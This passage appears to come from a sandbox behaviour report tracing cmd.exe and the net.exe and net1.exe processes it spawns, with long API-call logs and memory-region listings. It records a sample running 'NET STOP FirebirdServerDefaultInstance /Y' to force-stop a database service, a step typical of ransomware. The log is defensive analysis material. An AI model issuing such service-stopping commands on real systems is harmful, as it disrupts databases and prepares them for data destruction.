_String2="RD") returned -4 [0038.690] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0038.690] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0038.690] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0038.690] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0038.690] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0038.690] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0038.690] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0038.690] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0038.690] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0038.690] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0038.690] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0038.691] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0038.691] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0038.691] _wcsicmp (_String1="NET", _String2="START") returned -5 [0038.691] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0038.691] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0038.691] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0038.691] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0038.691] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0038.691] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0038.691] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0038.691] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0038.691] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0038.691] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0038.691] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0038.691] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0038.691] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0038.691] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0038.691] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0038.691] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0038.691] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0038.691] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0038.691] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0038.691] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0038.691] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0038.691] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0038.691] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0038.691] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0038.691] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0038.691] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0038.691] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0038.691] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0038.691] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0038.691] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0038.691] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0038.691] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0038.691] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0038.691] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0038.691] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0038.691] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0038.691] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0038.691] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0038.691] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0038.692] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0038.692] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0038.692] _wcsicmp (_String1="NET", _String2="START") returned -5 [0038.692] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0038.692] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0038.692] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0038.692] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0038.692] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0038.692] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0038.692] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0038.692] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0038.692] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0038.692] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0038.692] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0038.692] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0038.692] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0038.692] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0038.692] SetErrorMode (uMode=0x0) returned 0x0 [0038.692] SetErrorMode (uMode=0x1) returned 0x0 [0038.692] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x485e98, lpFilePart=0x14ef38 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14ef38*="Desktop") returned 0x25 [0038.692] SetErrorMode (uMode=0x0) returned 0x1 [0038.693] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.693] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.698] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.699] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.699] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x14ecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ecb4) returned 0xffffffff [0038.699] GetLastError () returned 0x2 [0038.699] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x14ecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ecb4) returned 0xffffffff [0038.700] GetLastError () returned 0x2 [0038.700] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.700] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x14ecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ecb4) returned 0x481ce8 [0038.700] FindClose (in: hFindFile=0x481ce8 | out: hFindFile=0x481ce8) returned 1 [0038.700] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x14ecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ecb4) returned 0xffffffff [0038.700] GetLastError () returned 0x2 [0038.700] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x14ecb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14ecb4) returned 0x481ce8 [0038.700] FindClose (in: hFindFile=0x481ce8 | out: hFindFile=0x481ce8) returned 1 [0038.700] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0038.700] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0038.700] GetConsoleTitleW (in: lpConsoleTitle=0x14f1ac, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.701] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f034, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f0fc | out: lpAttributeList=0x14f034, lpSize=0x14f0fc) returned 1 [0038.701] UpdateProcThreadAttribute (in: lpAttributeList=0x14f034, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f0f4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f034, lpPreviousValue=0x0) returned 1 [0038.701] GetStartupInfoW (in: lpStartupInfo=0x14eff0 | out: lpStartupInfo=0x14eff0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x4719e4, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0038.701] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0038.701] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0038.701] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0038.701] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.702] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.702] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0038.704] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET STOP FirebirdServerDefaultInstance /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14f090*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET STOP FirebirdServerDefaultInstance /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f0dc | out: lpCommandLine="NET STOP FirebirdServerDefaultInstance /Y", lpProcessInformation=0x14f0dc*(hProcess=0x7c, hThread=0x78, dwProcessId=0xae0, dwThreadId=0xae4)) returned 1 [0038.709] CloseHandle (hObject=0x78) returned 1 [0038.709] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0038.709] GetEnvironmentStringsW () returned 0x484df8* [0038.709] FreeEnvironmentStringsW (penv=0x484df8) returned 1 [0038.709] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0038.868] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x14efd0 | out: lpExitCode=0x14efd0*=0x2) returned 1 [0038.868] CloseHandle (hObject=0x7c) returned 1 [0038.868] _vsnwprintf (in: _Buffer=0x14f118, _BufferCount=0x13, _Format="%08X", _ArgList=0x14efdc | out: _Buffer="00000002") returned 8 [0038.868] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0038.868] GetEnvironmentStringsW () returned 0x4861e0* [0038.868] FreeEnvironmentStringsW (penv=0x4861e0) returned 1 [0038.868] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0038.869] GetEnvironmentStringsW () returned 0x4861e0* [0038.869] FreeEnvironmentStringsW (penv=0x4861e0) returned 1 [0038.869] DeleteProcThreadAttributeList (in: lpAttributeList=0x14f034 | out: lpAttributeList=0x14f034) [0038.869] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.869] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.869] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.869] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acb41ac | out: lpMode=0x4acb41ac) returned 1 [0038.869] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.869] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acb41b0 | out: lpMode=0x4acb41b0) returned 1 [0038.870] SetConsoleInputExeNameW () returned 0x1 [0038.870] GetConsoleOutputCP () returned 0x1b5 [0038.870] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acb4260 | out: lpCPInfo=0x4acb4260) returned 1 [0038.870] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.870] exit (_Code=2) Process: id = "18" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x4ed15000" os_pid = "0xae0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xac8" cmd_line = "NET STOP FirebirdServerDefaultInstance /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 997 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 998 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 999 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1000 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1001 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1002 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 1003 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1004 start_va = 0x230000 end_va = 0x247fff entry_point = 0x230000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 1005 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1006 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1007 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1008 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1009 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1010 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1011 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1012 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1013 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1014 start_va = 0x3a0000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 1015 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1016 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1017 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1018 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1019 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1020 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1021 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1022 start_va = 0x570000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1023 start_va = 0x751e0000 end_va = 0x751fbfff entry_point = 0x751e0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1024 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1025 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x75220000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1026 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 1027 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 1028 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 1029 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1030 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1031 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1032 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1033 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1034 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1035 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1036 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1037 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1038 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1039 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1040 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1041 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1042 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1043 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 19 os_tid = 0xae4 Process: id = "19" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x4efeb000" os_pid = "0xae8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0xae0" cmd_line = "C:\\Windows\\system32\\net1 STOP FirebirdServerDefaultInstance /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1044 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1045 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1046 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1047 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1048 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1049 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1050 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1051 start_va = 0x4c0000 end_va = 0x4e9fff entry_point = 0x4c0000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 1052 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1053 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1054 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1055 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1056 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1057 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1058 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1059 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1060 start_va = 